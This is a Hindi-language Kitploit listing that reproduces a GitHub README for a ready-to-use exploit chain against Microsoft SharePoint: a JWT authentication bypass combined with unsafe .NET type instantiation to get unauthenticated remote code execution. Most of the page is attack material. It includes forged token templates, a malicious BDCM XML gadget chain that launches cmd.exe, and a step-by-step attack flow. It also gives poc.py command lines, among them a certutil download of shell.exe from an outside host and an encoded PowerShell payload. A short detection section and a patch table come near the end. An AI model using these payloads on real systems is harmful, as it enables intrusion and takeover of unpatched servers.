Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-63520 — # Microsoft SharePoint पर अनधिकृत RCE के लिए एक्सप्लॉइट श्रृंखला JWT प्रमाणीकरण बाईपास को असुरक्षित .NET टाइप इंस्टैंशिएशन के साथ जोड़कर, सेवा खाते के रूप में कोड निष्पादन प्राप्त करने के लिए Microsoft SharePoint पर अनधिकृत RCE के लिए एक्सप्लॉइट श्रृंखला। | Kitploit
उपकरण/GitHubGitHub/hypnguyen1209/cve-2026-63520
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
hypnguyen1209/cve-2026-63520

CVE-2026-63520

# Microsoft SharePoint पर अनधिकृत RCE के लिए एक्सप्लॉइट श्रृंखला JWT प्रमाणीकरण बाईपास को असुरक्षित .NET टाइप इंस्टैंशिएशन के साथ जोड़कर, सेवा खाते के रूप में कोड निष्पादन प्राप्त करने के लिए Microsoft SharePoint पर अनधिकृत RCE के लिए एक्सप्लॉइट श्रृंखला।

रिपॉजिटरी देखें
19घं 37मि पहलेअभी तक समीक्षित नहीं

CVE-2026-63520 SharePoint असुरक्षित प्रकार RCE + CVE-2026-55040 श्रृंखला

Microsoft SharePoint सर्वर पर बिना प्रमाणीकरण के RCE। किसी क्रेडेंशियल की आवश्यकता नहीं है।

Stephen Fewer (Rapid7) ने Pwn2Own Berlin 2026 में CVE-2026-55040 का प्रदर्शन किया। Rapid7 ने फिर अनुवर्ती शोध के दौरान CVE-2026-63520 की खोज की, और VulnCheck ने स्वतंत्र रूप से एक वैकल्पिक गैजेट श्रृंखला पाई। साथ में, ये दो बग आपको इंटरनेट पर किसी भी बिना पैच वाले SharePoint के खिलाफ बिना प्रमाणीकरण के रिमोट कोड निष्पादन देते हैं।

CISA ने PoC जारी होने के कुछ ही घंटों के भीतर अलर्ट जारी किए। इसका वास्तविक दुनिया में शोषण हो रहा है।

यह क्या करता है

दो बग, एक श्रृंखला:

CVEप्रकारCVSSक्या टूटता है
CVE-2026-55040JWT प्रमाणीकरण बाईपास9.1SharePoint की S2S टोकन सत्यापन में चार स्वतंत्र कमजोरियाँ हैं। उन्हें जोड़कर आप किसी भी उपयोगकर्ता के लिए एक वैध JWT जाली बना सकते हैं - जिसमें साइट व्यवस्थापक भी शामिल हैं - उनका पासवर्ड जाने बिना।
CVE-2026-63520असुरक्षित .NET प्रकार इंस्टेंटिएशन → RCE8.1Business Data Connectivity (BDC) अपलोड किए गए XML से किसी भी .NET प्रकार के नाम को बिना किसी अनुमति सूची के हल करता है। इसे ObjectDataProvider पर इंगित करें और आपको Process.Start() मिलता है।

अकेले कोई भी बग दिलचस्प नहीं है। CVE-2026-63520 को प्रमाणीकरण की आवश्यकता है। CVE-2026-55040 आपको प्रमाणीकरण देता है। साथ में: SharePoint सेवा खाते के रूप में बिना प्रमाणीकरण के RCE।

बग 1: JWT बाईपास (CVE-2026-55040)

SharePoint सर्वर-से-सर्वर (S2S) प्रमाणीकरण के लिए नेस्टेड JWT का उपयोग करता है। एक बाहरी टोकन उपयोगकर्ता की पहचान रखता है, एक आंतरिक "एक्टर टोकन" कॉलिंग एप्लिकेशन का प्रतिनिधित्व करता है। SPJsonWebSecurityTokenHandlerV2.ValidateToken() में चार कमजोरियाँ पूरी चीज़ को ध्वस्त कर देती हैं:

कमजोरी 1 - हस्ताक्षर सत्यापन बंद है। वैलिडेटर RequireSignedTokens = false सेट करता है। बाहरी टोकन alg: none स्वीकार करता है। कोई हस्ताक्षर आवश्यक नहीं है।

कमजोरी 2 - सत्यापन के बिना x5t समाधान। एक्टर टोकन की हस्ताक्षर कुंजी को प्रमाणपत्र स्टोर में x5t (प्रमाणपत्र थंबप्रिंट) हेडर देखकर हल किया जाता है। SharePoint कभी जाँच नहीं करता कि एक्टर टोकन का हस्ताक्षर वास्तव में उस कुंजी से मेल खाता है या नहीं।

कमजोरी 3 - जारीकर्ता सत्यापन अज्ञात प्रमाणपत्र स्वीकार करता है। ValidateIssuer() पास हो जाता है यदि हस्ताक्षर प्रमाणपत्र TrustedSecurityTokenServices संग्रह में नहीं है। SharePoint का अपना STS प्रमाणपत्र वहाँ पंजीकृत नहीं है। इसलिए इसे x5t के माध्यम से संदर्भित करना बिना शर्त जारीकर्ता सत्यापन पास करता है।

कमजोरी 4 - गैर-क्रिप्टोग्राफिक हस्ताक्षर जाँच। GetTokenSignature() के लिए एक गैर-खाली स्ट्रिंग की आवश्यकता होती है लेकिन शून्य क्रिप्टोग्राफिक सत्यापन करता है। कोई भी मान काम करता है। AAAA काम करता है।

STS प्रमाणपत्र सार्वजनिक है। आप इसे /_layouts/15/metadata/json/1 से प्राप्त करते हैं - एक बिना प्रमाणीकरण वाला एंडपॉइंट - SHA-1 थंबप्रिंट की गणना करें, और आपके पास वह सब कुछ है जो आपको चाहिए।

जाली टोकन कैसा दिखता है

बाहरी टोकन (उपयोगकर्ता की पहचान रखता है):

root@kitploit:~
// हेडर
{"alg": "none", "typ": "JWT"}

// पेलोड
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "<लक्ष्य SID या UPN>",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "<आंतरिक JWT>"
}
// हस्ताक्षर: खाली (alg:none)

आंतरिक एक्टर टोकन ("एप्लिकेशन" का प्रतिनिधित्व करता है):

root@kitploit:~
// हेडर
{"alg": "RS256", "typ": "JWT", "x5t": "<STS प्रमाणपत्र थंबप्रिंट>"}

// पेलोड
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nbf": 1756000000,
  "exp": 1756003600
}
// हस्ताक्षर: "AAAA" (शाब्दिक रूप से कुछ भी गैर-खाली)

पहचान चुनने के तीन तरीके:

बग 2: RCE (CVE-2026-63520)

SharePoint की Business Data Connectivity सेवा व्यवस्थापकों को BDC मॉडल XML फ़ाइलों (.bdcm) के माध्यम से बाहरी डेटा स्रोत परिभाषित करने देती है। ये मॉडल .NET प्रकार निर्दिष्ट करते हैं जिन्हें BDC रनटाइम पर इंस्टेंटिएट करता है।

समस्या DbTypeReflector.ResolveDotNetType() में है:

root@kitploit:~
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
    return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true);  // GAC में कोई भी प्रकार

15 वर्णों से कम के प्रकार के नाम एक सुरक्षित रिज़ॉल्वर से गुजरते हैं। इससे लंबा कुछ भी सीधे Type.GetType() को कॉल करता है - जो ग्लोबल असेंबली कैश से किसी भी असेंबली-योग्य प्रकार के नाम को हल करता है। कोई अनुमति सूची नहीं। कोई ब्लॉकलिस्ट नहीं। हमलावर BDCM XML के माध्यम से abstractTypeName को नियंत्रित करता है।

गैजेट श्रृंखला

हम PresentationFramework से System.Windows.Data.ObjectDataProvider का उपयोग करते हैं। जब आप इसकी ObjectInstance संपत्ति सेट करते हैं, यह उस इंस्टेंस पर MethodName को लागू करता है। MethodName = "Start" और ObjectInstance = System.Diagnostics.Process को एक क्राफ्टेड StartInfo के साथ सेट करें, और BDC की संपत्ति-सेटर रिफ्लेक्शन बाकी करती है:

root@kitploit:~
ObjectDataProvider बनाया गया
  → MethodName = "Start"
  → ObjectInstance = Process
    → StartInfo.FileName = "cmd.exe"
    → StartInfo.Arguments = "/c <पेलोड>"
    → StartInfo.UseShellExecute = false
    → StartInfo.CreateNoWindow = true
  → संपत्ति सेटर QueryWorker() ट्रिगर करता है
    → BeginQuery() → InvokeMethodOnInstance()
      → Type.InvokeMember("Start") → Process.Start()

BDCM XML जो इसे ले जाता है:

root@kitploit:~
<TypeDescriptor Name="ReturnRoot"
  TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, 
    Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
  <TypeDescriptors>
    <TypeDescriptor Name="MethodName" TypeName="System.String">
      <DefaultValues>
        <DefaultValue ...>Start</DefaultValue>
      </DefaultValues>
    </TypeDescriptor>
    <TypeDescriptor Name="ObjectInstance"
      TypeName="System.Diagnostics.Process, System, ...">
      <TypeDescriptor Name="StartInfo"
        TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
        <TypeDescriptor Name="FileName" TypeName="System.String">
          <DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
        </TypeDescriptor>
        <TypeDescriptor Name="Arguments" TypeName="System.String">
          <DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
        </TypeDescriptor>
      </TypeDescriptor>
    </TypeDescriptor>
  </TypeDescriptors>
</TypeDescriptor>

VulnCheck ने DotNetAssembly LobSystem के माध्यम से TypeConfuseDelegate डिसीरियलाइज़ेशन के साथ System.Web.UI.LosFormatter का उपयोग करके एक वैकल्पिक श्रृंखला का दस्तावेजीकरण किया। कई गैजेट काम करते हैं - अंतर्निहित प्रिमिटिव अप्रतिबंधित प्रकार इंस्टेंटिएशन है।

पूर्ण हमला प्रवाह

root@kitploit:~
    हमलावर                         SharePoint सर्वर
       │                                    │
       │── GET /_layouts/15/metadata/json/1 ──▶│
       │◀── STS प्रमाणपत्र (x5t + realm) ────────│  (बिना प्रमाणीकरण)
       │                                    │
       │── DC को SMB नल सत्र ────────────────────▶ डोमेन नियंत्रक
       │◀── डोमेन SID ──────────────────────────│
       │                                    │
       │── JWT जाली बनाएं (alg:none + AAAA sig) ─│
       │── POST /_api/contextinfo ──────────▶│
       │◀── FormDigestValue ────────────────│  CVE-2026-55040: व्यवस्थापक के रूप में प्रमाणित
       │                                    │
       │── POST /_api/web/lists ────────────▶│  BDC कैटलॉग बनाएं
       │── POST .../Files/add(evil.bdcm) ──▶│  गैजेट श्रृंखला अपलोड करें
       │── POST /_vti_bin/client.svc/ ──────▶│  ProcessQuery ट्रिगर करें
       │        ProcessQuery                │
       │                                    │  CVE-2026-63520: Process.Start()
       │                                    │  → cmd.exe /c <पेलोड>
       │                                    │  → SP सेवा खाते के रूप में चलता है

छह चरण:

  1. STS प्रमाणपत्र प्राप्त करें। /_layouts/15/metadata/json/1 पर हिट करें। कोई प्रमाणीकरण आवश्यक नहीं। keys[0].keyValue.value से X.509 प्रमाणपत्र निकालें, SHA-1 हैश करें, base64url-एनकोड करें। यही आपका x5t है। issuer फ़ील्ड आपको realm देता है।

  2. एक साइट व्यवस्थापक खोजें। डोमेन नियंत्रक के लिए SMB नल सत्र, डोमेन SID प्राप्त करने के लिए LSARPC LsarQueryInformationPolicy, फिर RIDs (500, 1000-10000) पर पुनरावृत्ति करें और प्रत्येक के लिए JWT जाली बनाएं जब तक /_api/web/currentuser IsSiteAdmin: true नहीं लौटाता। या बस एक ज्ञात UPN प्रदान करें।

  3. JWT जाली बनाएं। बाहरी: alg:none, nameid = व्यवस्थापक SID, actortoken = आंतरिक JWT। आंतरिक: alg:RS256, x5t = STS थंबप्रिंट, हस्ताक्षर = AAAA। Base64url-एनकोड करें, बिंदुओं के साथ जोड़ें। हो गया।

प्रभावित संस्करण

अगस्त 2026 संचयी अद्यतन BDC द्वारा इंस्टेंटिएट किए जा सकने वाले .NET प्रकारों को प्रतिबंधित करने के लिए ValidateSafeBcsType() जोड़ता है। JWT फिक्स उचित हस्ताक्षर सत्यापन जोड़ता है और STS प्रमाणपत्र को विश्वसनीय टोकन सेवाओं संग्रह में पंजीकृत करता है।

SharePoint 2016 मुख्यधारा समर्थन 2026 में समाप्त हुआ। विस्तारित समर्थन के बिना संगठनों को फिक्स नहीं मिल सकता है।

इसे चलाना

निर्भरताएँ स्थापित करें:

root@kitploit:~
pip install requests
pip install impacket  # केवल --domain-ip स्वचालित-SID खोज के लिए आवश्यक

सब कुछ स्वचालित रूप से खोजें (SID के लिए DC पहुँच की आवश्यकता है)

root@kitploit:~
python3 poc.py \
  --target 192.168.1.10 \
  --domain-ip 192.168.1.5 \
  --cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"

स्क्रिप्ट यह करेगी:

  • STS मेटाडेटा से x5t और realm खींचें
  • SMB नल सत्र के माध्यम से डोमेन SID प्राप्त करें
  • साइट व्यवस्थापक मिलने तक RIDs पर पुनरावृत्ति करें
  • JWT जाली बनाएं, डाइजेस्ट प्राप्त करें, BDCM अपलोड करें, RCE ट्रिगर करें

ज्ञात UPN के साथ (कोई SMB आवश्यक नहीं)

root@kitploit:~
python3 poc.py \
  --target sharepoint.corp.local \
  --upn [email protected] \
  --cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."

ज्ञात SID के साथ

root@kitploit:~
python3 poc.py \
  --target 10.0.0.50 \
  --sid S-1-5-21-4203888158-2793536450-3921675298-500 \
  --cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"

TLS प्रमाणपत्र से UPN स्वचालित रूप से खोजें

root@kitploit:~
python3 poc.py \
  --target 10.0.0.50 \
  --auto-upn \
  --username administrator \
  --cmd "calc.exe"

केवल प्रमाणीकरण बाईपास जाँच (कोई RCE नहीं)

root@kitploit:~
python3 poc.py \
  --target 192.168.1.10 \
  --domain-ip 192.168.1.5 \
  --cmd "dummy" \
  --check-only

आप Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN] देखना चाहते हैं। यह पुष्टि करता है कि JWT बाईपास काम करता है और आपके पास व्यवस्थापक-स्तर की पहुँच है।

गैर-मानक पोर्ट

root@kitploit:~
python3 poc.py \
  --target 10.0.0.50 \
  --port 8443 \
  --upn [email protected] \
  --cmd "whoami"

पहचान

देखने योग्य चीज़ें:

  • SharePoint एंडपॉइंट्स पर हिट करने वाले alg: none वाले JWTs। वैध S2S टोकन हमेशा RS256 का उपयोग करते हैं।
  • एक ही स्रोत IP से प्रमाणित API कॉल के बाद /_layouts/15/metadata/json/1 के अनुरोध। मेटाडेटा एंडपॉइंट सार्वजनिक है, लेकिन टोही के बाद व्यवस्थापक-स्तर की पहुँच संदिग्ध है।
  • BusinessDataMetadataCatalog में दिखाई देने वाली नई .bdcm फ़ाइलें। अधिकांश SharePoint तैनातियाँ BDC का उपयोग बिल्कुल नहीं करती हैं। कोई भी BDCM अपलोड जाँच के योग्य है।
  • अज्ञात BDC इकाइयों को संदर्भित करने वाले ProcessQuery अनुरोध, विशेष रूप से इकाई प्रकार के नामों में ObjectDataProvider या LosFormatter के साथ।
  • w3wp.exe (SharePoint एप्लिकेशन पूल) से प्रक्रिया स्पॉनिंग। वर्कर प्रक्रिया के चाइल्ड के रूप में cmd.exe, powershell.exe, certutil.exe क्लासिक संकेतक हैं।

संदर्भ

  • VulnCheck - SharePoint का शोषण: CVE-2026-55040 और CVE-2026-63520 RCE श्रृंखला
  • Rapid7 - CVE-2026-63520 का तकनीकी विश्लेषण
  • Rapid7 - CVE-2026-55040 का तकनीकी विश्लेषण
  • Rapid7 - CVE-2026-55040 प्रकटीकरण
  • Rapid7 - CVE-2026-63520 प्रकटीकरण
  • sfewer-r7/CVE-2026-55040 (PoC)
  • Previdian - CVE-2026-55040
  • Microsoft सलाह - CVE-2026-55040
  • Microsoft सलाह - CVE-2026-63520

कानूनी

केवल अधिकृत सुरक्षा परीक्षण के लिए। किसी भी चीज़ के खिलाफ इसे चलाने से पहले लिखित अनुमति प्राप्त करें जो आपकी नहीं है।

टूल डाउनलोड करें
मोडnameidniiआपको क्या चाहिए
SIDS-1-5-21-...-1605urn:office:idp:activedirectoryडोमेन SID (SMB नल सत्र के माध्यम से) + RID ब्रूट
UPNupn_bypass + upn दावाurn:office:idp:activedirectoryएक वैध UPN (जैसे [email protected])
AccessToken0#.w|nt authority\local serviceAccessTokenकुछ नहीं। सीमित पहुँच लेकिन कुछ श्रृंखलाओं के लिए पर्याप्त।
  • फॉर्म डाइजेस्ट प्राप्त करें। जाली Bearer टोकन के साथ POST /_api/contextinfo। SharePoint आपको लेखन संचालन के लिए एक FormDigestValue देता है।

  • BDCM अपलोड करें। एक BusinessDataMetadataCatalog लाइब्रेरी बनाएं, ObjectDataProvider गैजेट श्रृंखला वाली दुर्भावनापूर्ण .bdcm XML अपलोड करें।

  • ट्रिगर खींचें। BDC इकाई को हल करने वाले अनुरोध के साथ POST /_vti_bin/client.svc/ProcessQuery। SharePoint BDCM से प्रकारों को इंस्टेंटिएट करता है, रिफ्लेक्शन के माध्यम से संपत्तियाँ सेट करता है, और ObjectDataProvider Process.Start() को फायर करता है। कोड SharePoint सेवा खाते के रूप में चलता है।

  • उत्पादनीचे कमजोरपैचKB
    SharePoint Server Subscription Edition16.0.19725.20522अगस्त 2026 CUKB5002893
    SharePoint Server 201916.0.10417.20198अगस्त 2026 SU-
    SharePoint Enterprise Server 201616.0.5565.1001अगस्त 2026 SU-